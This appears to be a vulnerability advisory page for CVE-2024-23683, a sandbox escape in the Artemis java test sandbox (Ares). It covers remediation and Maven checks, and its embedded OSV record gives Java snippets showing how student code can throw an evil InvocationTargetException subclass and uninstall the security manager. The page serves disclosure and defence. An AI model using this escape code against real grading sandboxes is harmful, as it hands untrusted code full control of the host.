CVE-2024-23683: Artemis java test sandbox Trust Boundary Violation Due To Vulnerability
HIGHCVE-2024-23683 is a HIGH (CVSS 8.2) trust boundary violation due to vulnerability (General Security Weakness) affecting Artemis java test sandbox libraries in the Maven ecosystem. The issue involves trust boundary violation due to incomplete blacklist in test failure processing in ares. Remediation is available by upgrading affected packages to version 1.7.6.
CVE-2024-23683 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).
How to Fix CVE-2024-23683
To remediate this vulnerability, upgrade all affected Artemis java test sandbox dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>de.tum.in.ase</groupId>
<artifactId>artemis-java-test-sandbox</artifactId>
<version>1.7.6</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=de.tum.in.ase
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2024-23683, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=de.tum.in.ase
Analyze the terminal output to locate any version of Artemis java test sandbox in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.7.6), your application is affected.
Note: The mvn dependency:tree -Dincludes=de.tum.in.ase command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under General Security Weakness. In Artemis java test sandbox, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-23683 Affected Artemis java test sandbox Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
de.tum.in.ase:artemis-java-test-sandbox
|
Maven |
< 1.7.6
|
1.7.6
|
References
Frequently Asked Questions
What is CVE-2024-23683?
Which Artemis java test sandbox versions are affected?
What version fixes CVE-2024-23683?
Is artemis-java-test-sandbox affected?
What is the CVSS score of CVE-2024-23683?
What CWE is associated with CVE-2024-23683?
How can I check Maven dependencies for CVE-2024-23683?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-883x-6fch-6wjx",
"modified" : "2026-01-22T20:31:25Z",
"published" : "2022-01-21T23:39:19Z",
"aliases" : [ "CVE-2024-23683" ],
"summary" : "Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares",
"details" : "### Impact\nThis allows an attacker to create special subclasses of `InvocationTargetException` that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.\n\n### Patches\nUpdate to version `1.7.6` or later.\n\n### Workarounds\nForbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371\n\n### References\n_Are there any links users can visit to find out more?_\nNot that I know of.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in https://github.com/ls1intum/Ares/issues\n* Email us, see https://github.com/ls1intum/Ares/security/policy\n\n### Detailed description\nUsing generics, it is possible to throw checked exceptions without a `throws` clause:\n<details>\n<summary>ThrowWithoutThrowsHelper</summary>\n\n```java\npublic class ThrowWithoutThrowsHelper<X extends Throwable>\n{\n private final X throwable;\n\n private ThrowWithoutThrowsHelper(X throwable)\n {\n this.throwable = throwable;\n }\n\n private <R> R throwWithThrows() throws X\n {\n throw throwable;\n }\n\n public static <R> R throwWithoutThrows(Throwable throwable)\n {\n ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);\n @SuppressWarnings(\"unchecked\")\n ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;\n return helperCasted.throwWithThrows();\n }\n}\n```\n</details>\n\nUsing this, it is possible for a malicious testee to throw an instance of a malicious subclass of `InvocationTargetException` (let's call it `EvilInvocationTargetException`).\n\nThis exception is catched by `org.junit.platform.commons.util.ReflectionUtils::invokeMethod`, which looks like this:\n<details>\n<summary>ReflectionUtils::invokeMethod</summary>\n\n```java\n public static Object invokeMethod(Method method, Object target, Object... args) {\n Preconditions.notNull(method, \"Method must not be null\");\n Preconditions.condition((target != null || isStatic(method)),\n () -> String.format(\"Cannot invoke non-static method [%s] on a null target.\", method.toGenericString()));\n\n try {\n return makeAccessible(method).invoke(target, args);\n }\n catch (Throwable t) {\n throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));\n }\n }\n```\n</details>\n\nThis method calls `getUnderlyingCause` (of the same class), passing to it the catched, malicious exception as an argument.\n<details>\n<summary>ReflectionUtils::getUnderlyingCause</summary>\n\n```java\n private static Throwable getUnderlyingCause(Throwable t) {\n if (t instanceof InvocationTargetException) {\n return getUnderlyingCause(((InvocationTargetException) t).getTargetException());\n }\n return t;\n }\n```\n</details>\n\n`getUnderlyingCause` in turn checks if the passed exception is `instanceof InvocationTargetException`, and if so, calls `getTargetException` on it. `getTargetException` can be overridden by subclasses of `InvocationTargetException`, like the `EvilInvocationTargetException`.\nIf `EvilInvocationTargetException` is in a whitelisted package (for example `de.tum.in.test.api.security.notsealedsubpackage`), `getTargetException` will be called with the entire stack containing only whitelisted frames.\nThis allows the attacker to uninstall the `ArtemisSecurityManager` in `EvilInvocationTargetException::getTargetException`:\n<details>\n<summary>Uninstalling ArtemisSecurityManager</summary>\n\n```java\n\nSecurityManager secman = System.getSecurityManager();\nClass<?> aresSecmanClass = secman.getClass();\nField isPartlyDisabledF = aresSecmanClass.getDeclaredField(\"isPartlyDisabled\");\nisPartlyDisabledF.setAccessible(true);\nisPartlyDisabledF.set(secman, true);\nSystem.setSecurityManager(null);\n```\n</details>\n\nAfter uninstalling `ArtemisSecurityManager`, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "de.tum.in.ase:artemis-java-test-sandbox"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.7.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ls1intum/Ares/security/advisories/GHSA-883x-6fch-6wjx"
}, {
"type" : "WEB",
"url" : "https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371"
}, {
"type" : "WEB",
"url" : "https://github.com/ls1intum/Ares/commit/af4f28a56e2fe600d8750b3b415352a0a3217392"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ls1intum/Ares"
}, {
"type" : "WEB",
"url" : "https://github.com/ls1intum/Ares/releases/tag/1.7.6"
} ],
"database_specific" : {
"cwe_ids" : [ ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2022-01-18T22:55:47Z",
"nvd_published_at" : null
}
}